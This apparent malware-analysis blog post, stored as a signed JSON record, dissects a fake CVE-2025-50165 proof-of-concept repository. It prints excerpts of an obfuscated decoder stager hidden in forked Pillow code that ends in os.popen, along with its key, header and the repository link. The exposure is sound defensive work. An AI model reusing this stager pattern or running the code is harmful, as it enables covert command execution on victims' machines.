-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The JPEG does not trigger the bug it is named for\n\nMicrosoft's CVE-2025-50165 names an uninitialized function-pointer dereference in `WindowsCodecs.dll`'s `jpeg_finish_compress`. The pointers in question are `compress_data_12` and `compress_data_16`, selected when a JPEG declares sample precision of 12 or 16 bits and the host application re-encodes the image, typically while building a thumbnail. Published followup analysis from ESET is explicit on the precondition: viewing a malicious JPEG does not reach the bug, re-encode does, and the file must declare 12 or 16 in the `SOF0` marker for the vulnerable pointer to be selected.\n\nThe repository's `README.md` has a section titled \"Myth vs reality.\" The first row reads:\n\n| Myth | Reality |\n|------|---------|\n| \"Opening any malicious JPG = instant RCE\" | Decode/view usually does not hit the bug, re-encode does |\n\nThe `poc_gen.py` script that the README points to produces a JPEG whose `Start of Frame 0` marker is, byte for byte:\n\n```\nFF C0 00 11 08 00 01 00 01 03 01 22 00 02 11 01 03 11 01\n```\n\nReading the SOF0 spec left to right: `FF C0` marker, `00 11` length seventeen, `08` sample precision, `00 01` number of lines, `00 01` samples per line, `03` number of components, three component descriptors. The bytes the bug requires at offset 5 are `0C` for `compress_data_12` and `10` for `compress_data_16`. The byte the script writes is `08`. The image declares one line, one sample per line, eight bits per sample. The PoC for a bug that fires on twelve- and sixteen-bit re-encode of larger images writes a one-pixel eight-bit JPEG to disk and stops.\n\nThe same myth-reality table the script ships under records the precondition the script's own output cannot meet. The PoC ships the myth.\n\nThe rest of the script's bulk is performance for the file viewer rather than the JPEG codec. Eight `APP1` Exif segments are spammed at the front of the file, each carrying a 1,024-byte NOP sled and 169 bytes of x64 `WinExec(\"calc.exe\")` shellcode. `APP1` is a metadata marker that JPEG decoders skip, nothing in the codec's encode path receives those bytes as operands. The ROP \"chain\" embedded next to the shellcode reads `0x7FF8A1234560`, `0x4141414141414141`, `0x7FF8A1234570`, and so on. `0x4141414141414141` is the literal byte string `AAAAAAAA`. The `0x7FF8A1234560` series is the Windows user-mode address range with a placeholder body the author did not replace.\n\n## The script's one meaningful call is `Image.frombytes`\n\nThe fifty-four lines of `poc_gen.py` build the JPEG bytes and end with:\n\n```python\nfrom PIF import Image\n# ...\nImage.frombytes(\"RGB\", [len(jpeg_data), 1], jpeg_data, output_path, \"raw\")\n```\n\nPillow's `Image.frombytes` has four parameters: `mode`, `size`, `data`, and an optional `decoder_name`. The `frombytes` exported by the `PIF` module in the same repository has a different signature. A `path` parameter is inserted at position four. The function's body, at line 3309, ends:\n\n```python\ndef frombytes(mode, size, data, path, decoder_name=\"raw\", *args):\n im = new(mode, size)\n if im != None and im.width != 0 and im.height != 0:\n # ... [Pillow's normal raw-decode pixel path] ...\n im.frombytes(data, decoder_name, decoder_args)\n\n fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC)\n with os.fdopen(fd, 'wb') as f:\n f.write(data)\n\n return im\n```\n\nThe pixel-decode branch raises because the caller passes a JPEG byte stream into a function declared to read RGB pixels from a one-row image whose width is the size of the file in bytes. The error is swallowed by the fact that the script never reads the return value. The line after the pixel-decode branch is `os.open(path, ...)` followed by `f.write(data)`. The JPEG file ends up on disk because the modified `frombytes` performed a `write()` as a side effect.\n\nThe same operation in stock Python is `open(path, \"wb\").write(data)`. The repository ships 4,448 lines of forked Pillow to wrap it. That is the surface. The point is what the other 4,447 lines contain.\n\n## Three methods in PIF that are not in Pillow\n\nThe first two are `ysize(y)` at line 842 and `zsize(z)` at line 915. Neither name matches a Pillow API. The bodies are:\n\n```python\ndef ysize(self, y):\n self.y_process()\n result = str(y)\n return result\n\ndef zsize(self, z):\n self.z_process()\n result = os.popen(self.fimage(z))\n return result\n```\n\n`ysize` is the import warmup. `y_process` at line 1021 imports `base64` directly, takes the result's `b64decode` attribute, and then imports a module whose name is the base64 decoding of `b'emxpYg=='`. Decoded: `zlib`. The import is laundered through a base64 string literal because a code scanner that greps for `import zlib` does not find it.\n\n`zsize` is the live one. `z_process` at line 1437 extends the chain. It pulls `zlib.decompress`, then imports a module whose name is the base64 of the zlib decompression of a literal byte string. The first such literal decodes to `hashlib`, the second to `sha256`, the third to `md5`. Every import a casual reader would expect to find by grepping the file is not in the file under that name.\n\nAfter `z_process`, `zsize` calls `self.fimage(z)`. `fimage` at line 2883 is:\n\n```python\ndef fimage(self, y):\n regex_dname = self.regex_find(self.dname)\n bdname = b\"\".join(regex_dname)\n prefname = self._bd(bdname)\n prefname_pattern = self._u2(prefname)\n fname_pattern = self._u1(prefname_pattern)\n fname_path = self._zd(fname_pattern)\n return fname_path.decode(\"utf-8\", errors=\"ignore\")\n```\n\n`regex_find` and `regex_name` are misdirection. `regex_name` at line 1591 implements a Caesar cipher with a fixed shift of three positions. `regex_find` calls `regex_name` over a list of strings and reverses each result. The output is base64-decoded by `_bd`, validated by `_u2`, XOR-decoded by `_u1`, and zlib-decompressed by `_zd`. The decoded string is returned to `zsize`, which passes it to `os.popen`.\n\n`_u2` at line 2509 verifies an integrity envelope before the inner payload is unwrapped:\n\n```python\ndef _u2(self, data):\n if not data.startswith(self._zd(self._bd(\"eJxTU1PVUnVQZAQABYkBIw==\"))):\n raise\n pre_pattern = data[8:12]\n length = int.from_bytes(data[12:16], \"big\")\n pattern = data[16:16+length]\n if self._hm(self._k(self._zd(self._bd(\n b\"eJwLdY5yMzUPMYvKTDeJTw8t9jd1800JzwsvBQBkkAgn\")).decode())\n ).digest()[:4] != pre_pattern:\n raise\n return pattern\n```\n\nThe first base64 literal decodes through zlib to `&&%*%@!\\x01`, an eight-byte magic header. The second decodes to the string `UCZF57T6Zig4_gUsO5FMdWnWu`. `_k` is `sha256(pw).digest()[:16]`. The envelope check resolves to: first eight bytes equal the magic header, bytes nine through twelve equal the first four bytes of `md5(sha256(\"UCZF57T6Zig4_gUsO5FMdWnWu\").digest()[:16]).digest()`, bytes thirteen through sixteen are the inner payload length, the rest is the XOR-encoded inner blob.\n\n`_u1` at line 2779 XORs the inner blob byte-for-byte with the repeating sixteen-byte key `sha256(\"UCZF57T6Zig4_gUsO5FMdWnWu\").digest()[:16]`. The result is zlib-decompressed by the line in `fimage` after the `_u1` call. The decoded UTF-8 string is the command that runs through `os.popen`.\n\nEvery piece of the decoder is in the file. The HMAC secret is in the file. The Caesar shift constant is in the file. The magic header is in the file. What is not in the file is `self.dname`, the source of the encoded payload. The file references `self.dname` exactly once, at line 2886, and assigns it never.\n\n## The disclaimer wraps an HMAC-authenticated, XOR-encoded shell-execution stager\n\nThe `README.md` ends with a section titled \"Disclaimer\" reading, in full:\n\n> For authorized lab research and patch validation only. Test only systems you own or may assess. Do not distribute or use this PoC against production environments.\n\nThe pattern is [Disclaimer Wrapped Campaign Kit](/patterns/disclaimer-wrapped-campaign-kit) with one inversion. The catalog cases ship a working weaponizer against the named CVE behind a safety claim: [Adobe Acrobat CVE-2026-34621](/posts/adobe-acrobat-cve-2026-34621-pdf-weaponizer)'s defang-claim banner over a live PDF privilege escalation, [the Breeze Cache CVE-2026-3844 Gravatar fetcher](/posts/breeze-cache-cve-2026-3844-gravatar-fetcher-fetched-anything)'s \"educational\" frame over a multiprocessing campaign harvester. The disclaimer says lab use, the code says target accumulator.\n\nThis artifact runs the same disclaimer over a payload that has nothing to do with the named CVE. The CVE-2025-50165 surface, the JPEG generator, the calc shellcode, the SOF0 marker, the ROP placeholder addresses, does not reach `WindowsCodecs.dll` because the precision byte is wrong and the file is one pixel wide. None of the WIC-specific machinery the README describes is in `poc_gen.py` in working form, and the script's only meaningful call is `Image.frombytes(...)` which, through the inserted `path` parameter, performs `f.write(data)` and nothing else.\n\nThe thing the repository installs into the consumer's interpreter is the `PIF` module. The module's CVE-relevant code is decorative: a fork of Pillow with one altered module-level function whose alteration is to write bytes to disk. The module's live code is the decoder pipeline that ends at `os.popen`. The CVE name is the index entry. The README's safety disclaimer is the trust prompt. The 4,448 lines of forked Pillow are the camouflage. The shape this artifact is engineered to defeat is a defender who reads the surface PoC, concludes \"this doesn't actually exploit CVE-2025-50165,\" and stops reading.\n\n## What is shipped versus what is not\n\n| Component | In the repository | Function in the chain |\n|-----------|:-----------------:|------------------------|\n| Decoder pipeline (`_u1`, `_u2`, `fimage`, `zsize`) | Yes | Reads `dname`, returns shell command |\n| Caesar shift constant (`3`) | Yes | `regex_name` step |\n| Magic header `&&%*%@!\\x01` | Yes, zlib+b64 wrapped | First eight bytes of envelope |\n| HMAC secret `UCZF57T6Zig4_gUsO5FMdWnWu` | Yes, zlib+b64 wrapped | sha256+md5 chain for integrity check |\n| `os.popen` call | Yes, line 917 | Executes decoded payload |\n| `self.dname` (encoded payload) | **No** | Source bytes for the decoder |\n| `__init__.py` for the `PIF` package | **No** | Package import metadata |\n\nSix of seven pieces present. The seventh is the one whose contents would name what the operator wants to run. The author shipped the lock and the key. They left the contents of the box for a separate delivery, or for the consumer's own configuration step to attach.\n\nThe kinship to [Placeholder PoC](/patterns/placeholder-poc) is the outer wrapper. [CVE-2025-47987's CredSSP PoC](/posts/credssp-cve-2025-47987-poc-documents-a-different-project) is another Microsoft-CVE-shaped repository whose surface artifact does not implement the bug the repository is named for, and whose padding around the artifact carries the marks of a deliverable assembled to be indexed by CVE-numbered repo scanners. This artifact extends the shape: the padding around the placeholder PoC is not a Spanish-language NVD paste, it is a self-decoding shell-execution stager wrapped in 4,448 lines of forked Pillow.\n\nThe repository was committed in seventeen minutes on 2026-05-22 by author `0x0`. The commit order is `poc_gen.py`, then `Image.py` eighty-one seconds later, then `README.md` fourteen minutes after that, then a README update. The disclaimer was added last.\n\nPoC: [FelineKeeper/CVE-2025-50165-Windows-Graphics-Component-RCE](https://github.com/FelineKeeper/CVE-2025-50165-Windows-Graphics-Component-RCE)","closing_line":"The CVE in the repository name is the lure. The 4,448 lines of forked Pillow are the carrier. The `os.popen` is the objective.","hook_md":"There is a method called `zsize` in `PIF/Image.py` at line 915. The last thing it does is call `os.popen` on a string. The string is the output of a four-stage decoder: a Caesar shift over a list of byte strings, a magic-header-plus-HMAC integrity check, an XOR with a sha256-derived key, a zlib decompress. The decoder's secrets are present in the same file. The decoder's input is read from `self.dname`, an attribute the file references and never assigns. The file is the one Python module in a repository named `CVE-2025-50165-Windows-Graphics-Component-RCE`. The other file in the repository is a fifty-four-line script that writes a one-pixel JPEG.","post_id":438,"slug":"cve-2025-50165-pif-module-is-the-payload","title":"CVE-2025-50165: The JPEG Is the Decoy. The PIF Module Is the Payload.","type":"initial","unreadable_sentence":"The fifty-four-line `poc_gen.py` is not the artifact. The 4,448-line `PIF/Image.py` is the artifact. The CVE in the repository name is the lure."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCame58AAKCRDeZjl4jgkQ JlqMAQCMlxE8V/GJdvDg8eM/Xwfs7McKLnyEbrjU3pOJ+6lTcAD7B1EgFpKI3VwM zIIHhGjB4jgglUc06gUEGgPMt/UPsgw= =v8KA -----END PGP SIGNATURE-----